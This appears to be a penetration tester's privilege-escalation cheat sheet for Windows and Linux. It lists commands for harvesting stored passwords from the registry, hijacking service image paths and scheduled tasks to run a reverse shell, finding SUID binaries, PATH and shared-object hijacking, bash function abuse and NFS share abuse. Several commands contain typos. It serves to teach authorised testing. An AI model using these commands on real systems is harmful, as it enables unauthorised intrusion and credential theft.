Privilege Escalation

Shellin's for show, Rootin's for dough

General Privilege Escalation Guides

Dont forget to to try any harvested credentials!

Windows Privilege Escalation

Stored Credentials

Stored Creds in Registry

  • Seach the registry for keys and values that contain “password”

    • >reg query HKLM /f password /t REG_SZ /s

    • >reg query HKCU /f password /t REG_SZ /s

  • >.\winPEADany.exe quiet filesinfo userinfo

  • Query Autologins

    • >reg query “HKLM\Software\Microsoft\Windows NT\CurrentVersion\winlogon"

  • Query Putty sessions

    • >reg query “HKCU\Software\SimonTatham\PuTTY\Sessions” /s

  • Spawn a shell with new credentials

    • #winexe -U ‘admin%password’ //[targetip] cmd.exe

    • #winexe -U ‘admin%password’ --system //[targetip] cmd.exe

Service Exploits

First lets get a list of services that are running on the target and thier permissions

  • >accesschk.exe -uwcqv *

  • >accesschk.exe -uwcqv “Authenticated Users” *

  • > Get-WmiObject win32_service | Select-Object Name, State, PathName | Where-Object {$_.State -like 'Running'}

  • >sc.exe qc [name] -query service config

  • >sc.exe query [name] -query service status

  • >sc.exe config [name] [option]= [value] -modify config option of a service

  • >net start/stop [name] -start/stop a servic

Registry Exploits

Weak Registry Permissions

  • Registry stores entries for each service

  • Since entries can have ACL's, they can be mis-configured and modify a services config.

  • Locate a weak registry entry > verify permissions with accesschk

  • NT AUTHORITY\INTERACTIVE - user group that all users are apart of

  • Overwrite the image path value in the registry, so the called executable in the service, points to your reverse shell

    • >reg add HKLM\SYSTEM\CurrentControlSet\Services\[service] /v ImagePath -t REG_EXPAND_SZ /d C:\PrivEsc\Reverse.exe /f

Other Exploits And Techniques

  • Admins can config tasks to run as other users or SYSTEM

  • List all tasks your current user can see

    • > schtassk /query /fo LIST /v

    • PS> Get-ScheduledTask | where {$_.TaskPath -notlike "\Microsoft*} | ft TaskName,TaskPath,State

  • Check tasks and called files for when/if they are executed

    • >echo C:\reverse.exe >> [scheduled executable]

  • Schedule a task that runs everytime the system starts

    • > schtasks /create /tn [taskname] /tr [Taskrun] /sc onstart

  • Schedule a task that runs when a user logs on.

    • > schtasks /create /tn [taskname] /tr [Taskrun] /sc onlogon

  • Schedule a taks that runs when the system is idle

    • > schtasks /create /tn [taskname] /tr [Taskrun] /sc onidle /i [1-999]

  • Schedule a task that runs one

    • > schtasks /create /tn [taskname] /tr [Taskrun] /sc once /st {HH:MM}

  • Schedule a task that runs with system permissions

    • > schtasks /create /tn [taskname] /tr [Taskrun] /sc onlogon /ru System

  • Schedule a task that runs on a remote computer

    • > schtasks /create /tn [taskname] /tr [Taskrun] /sc onlogon /s [PC name]

Linux Privilege Escalation

Enumerate Permissions
  • Users

    • Accounts in /etc/passwd

    • password hashes in /etc/shadow

    • identified by a UID

    • root = UID 0

    • 3 types

      • Real - defined in /etc/passwd. who they actually are

      • Effective - when executing a process as another user, thier effective ID is set to that user's real ID.

        • Most Access Control decisions

        • whoami

      • Saved - used to ensure SUID processes can temporarily switch a user's effective ID back to thier Rreal ID and back again without losing track of the original effective ID

  • Groups

    • /etc/group

    • Primary and multiple secondary groups

    • Default primary group is same name as user account

  • Files/Dir

    • Have a single owner and a group

    • Permissions:read write execute

    • 3 permission sets: owner, group, and all others

  • Special permissions

    • setuid (SUID) bit - When set, files will get executed with privileges of the file owner

    • setgid (SGID) bit - When set on a file , files will get executed with the permissions of the file group

      • When set on a directory, files created in that directory will inherit the group of the directory itself

  • Viewing permission

    • #ls -l /file/path

    • First 10 characters are the permissions on the file

    • First character is the type: “-” for file, “d” for directory

    • SUID/SGID permissions are represented by an “s” in the execute position

Techniques

  • Service PWs may be stored in plain text in config files

  • History files may contain a password used as part of a command

    • #ls -a -> look for _history files

  • Config files

    • opnevpn files -> auth-user-pass option

  • SSH Keys - can be used in leu of passwords

SUID/SGID Executables
  • Find files with the SUID/SGID bit set

    • #find / -type f -a \( -perm -u+s -o -perm -g+s \) -exec la -l {} \; 2> /dev/null

    • Can use shell escape sequences on SUID/SGID files

    • PTFM: BSUID and SGID - pg. 93

  • Known Exploits - certain programs use SUID files as part of thier process or install.

    • Search for these! Look for exim!

  • Shared Object Injection

    • Use strace to track system calls from a program to any shared objects it is trying to call

    • If we can write to the location, we cna create an object that will run wiht the program

    • Create a c file that creates a file

    • Compile the c file

      • >gcc

  • PATH envi variable

    • If a program tries to execute another by only using the program and and not the absolute path, we can tell the shell where to look

    • Finding vulnerbable programs

      • Those sub-secuted files are often mentioned as a string in the program.

      • Run strings on the host executable

      • Can also use strace or ltrace

      • #strace -v -f -e execve <command> 2>&1 | grep exec

      • Attack

        • Create new shell executable names the sub-executed service

        • Set the path varibale to the path of the newly created executable

        • #PATH=.:$PATH <host file to execute>

  • Abusing shell features

    • Older versions <4.2-048 can define user functions with an absolute path name

      • These can be exported and can take precedence over the actual executable being called

      • #function <service oyu want to impersonate> { /bin/bash -p; )

      • #export -f /user/sbin/service

    • Debugging mode which can be enabled with the -x command or by modifying SHELLOPTS to inclide xtrace

      • SHELLOPTS is read only, but the env command allows SHELLOPS to be set

      • When in debugging mode, Bash uses the env var PS4 to display an extra prompt for debug statements. This variebl can contain embedded commands

      • If an SUID file runs another via bash, those envi variables can be enherited.

      • This does not work on bash past 4.4

  • Shares configed under /etc/exports

    • created files inherit remote users UID and GUID even if they do not have an account locally

  • Commands

    • # showmount -e [target]

    • # nmap -sV -script=nfs-showmount [target]

    • #mount -o rw,vers=2 [target]:[share] [local dir]

Specific Vulnerabilities

CVE-2021-36934 - HiveNightmare

Last updated